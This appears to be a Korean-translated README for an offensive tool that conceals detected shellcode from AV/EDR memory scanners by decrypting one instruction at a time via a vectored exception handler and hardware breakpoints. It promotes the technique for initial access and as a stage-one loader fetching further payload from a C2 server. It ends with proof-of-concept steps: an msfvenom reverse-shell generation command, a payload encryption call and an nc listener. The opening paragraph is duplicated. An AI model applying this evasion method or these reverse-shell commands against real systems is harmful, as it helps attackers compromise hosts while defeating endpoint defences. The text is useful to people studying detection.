
AV/EDR 메모리 스캐너를 우회하는 데 사용할 수 있는 기법입니다. 개별 암호화된 어셈블리 명령어를 즉석에서 복호화하여 잘 알려지고 탐지된 셸코드(예: msfvenom)를 숨길 수 있으며, 이를 통해 특정 메모리 페이지에 대한 메모리 스캐너를 무력화할 수 있습니다.
AV/EDR 메모리 스캐너를 우회(bypass)하는 데 사용할 수 있는 기술입니다. 잘 알려지고 탐지되는 셸코드(예: msfvenom)를 개별 암호화된 어셈블리 명령어를 실시간(on-the-fly) 복호화하여 숨길 수 있으므로, 해당 메모리 페이지에 대해서는 메모리 스캐너가 무용지물이 됩니다.
이 기술은 암호화된 어셈블리 명령어가 저장될 PAGE_EXECUTE_READWRITE 메모리 영역을 생성합니다. 셸코드는 일부 패딩(padding)으로 감싸집니다. 프로그램은 셸코드의 엔트리포인트에 하드웨어 중단점(Hardware Breakpoint, HWBP)을 설정합니다.
다음으로, 프로그램은 벡터 예외 처리기(Vectored Exception Handler, VEH)를 설치합니다. 이 VEH는 기본적으로 디버거처럼 동작하여 코드를 단일 스텝(single step)으로 실행하며, VEH가 수신하는 각 SINGLE STEP 예외마다 명령어 포인터 레지스터(RIP)를 읽고, RIP가 가리키는 위치의 다음 16바이트(x64 어셈블리 명령어의 최대 길이)를 복호화합니다. 또한 VEH는 이전에 복호화된 명령어를 다시 암호화하여, 현재 실행 중인 단일 어셈블리 명령어를 제외한 나머지 셸코드가 항상 암호화된 상태로 유지되도록 합니다. 그 후 Eflags 레지스터에 트랩 플래그(TRAP FLAG)를 설정하여 실행을 계속합니다. 이렇게 하면 다음 어셈블리 명령어도 VEH가 처리할 수 있는 중단점 예외를 트리거하게 됩니다.
VEH 설치 후, 메인 스레드(main thread) 실행은 페이로드 엔트리포인트(payload entrypoint)로 리디렉션됩니다. 엔트리포인트에서 HWBP가 트리거되면, VEH는 실행되는 각 어셈블리 명령어에서 멈추고, 다음 어셈블리 명령어를 복호화한 다음, 전역 변수로 저장된 이전 암호화 명령어를 다시 암호화합니다.
이렇게 함으로써 기본적으로 한 번에 하나의 단일 어셈블리 명령어만 복호화되며, 나머지 페이로드는 암호화된 상태로 유지됩니다.
참고: 이 기술은 msfvenom 또는 커스텀 리버스 셸과 같은 기본 셸코드를 사용하여 초기 접근(initial access)을 얻는 데 적합합니다. 또한 C2 서버에서 나머지 페이로드를 다운로드하는 초기 1단계 페이로드로도 사용할 수 있습니다.
참고: 이 기술은 모든 페이로드(예: 리플렉티브 로더(reflective loader))와 호환되지는 않습니다. 현재 제한 사항 목록은 다음과 같습니다:
VEH가 셸코드에서 실행되는 모든 어셈블리 명령어에 대해 트리거되므로, 셸코드의 실행 속도가 크게 느려집니다. CPU가 실행하는 각 어셈블리 명령어에 대해 VEH는 복호화, 암호화 및 메인 스레드로의 실행 복원을 수행하기 위해 최소 300개의 추가 ASM 명령어를 실행합니다. 주어진 셸코드가 성능보다 작은 크기에 최적화된 경우(예: msfvenom), 페이로드 실행은 더 느려집니다. MSFVENOM을 실행하는 데 15초 이상(CPU에 따라 다름)이 걸릴 수 있습니다. 이는 msfvenom이 사용하는 특정 셸코드가 더 작은 페이로드 크기를 얻기 위해 성능을 희생하기 때문입니다.NtCreateThread 또는 해당 래퍼 중 하나를 셸코드 내부의 엔트리포인트로 호출하는 경우, 새로 생성된 스레드의 엔트리포인트에 HWBP가 설치되어 있지 않아 해당 스레드 실행에 대해 VEH가 트리거되지 않으므로 페이로드가 작동하지 않습니다. (작업 진행 중 - 이 저장소에서 추가로 구현될 예정)값/변수를 저장하고 있는 경우(예: WinExec WINAPI 호출에서 오프셋으로 참조되는 원시 문자열 "powershell.exe") 또는 일부 숫자를 오프셋에 저장하고 있고, 셸코드가 나중에 이를 로드하거나 참조하려고 시도하는 경우, 해당 특정 변수나 문자열이 암호화된 상태가 되고 VEH가 이를 복호화하지 않으므로 프로그램이 작동하지 않습니다. 셸코드가 어셈블리 명령어를 통해 스택에 이러한 인수를 푸시하는 경우(push 0x4141414141414141로 "AAAAAAAA"를 스택에 푸시하여 함수 호출에 사용), 이 기술은 작동합니다. (작업 진행 중 - 이 저장소에서 추가로 구현될 예정)POC를 재현하는 방법:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

이 저장소는 학술적 목적으로 제공되며, 이 소프트웨어의 사용에 대한 책임은 사용자에게 있습니다.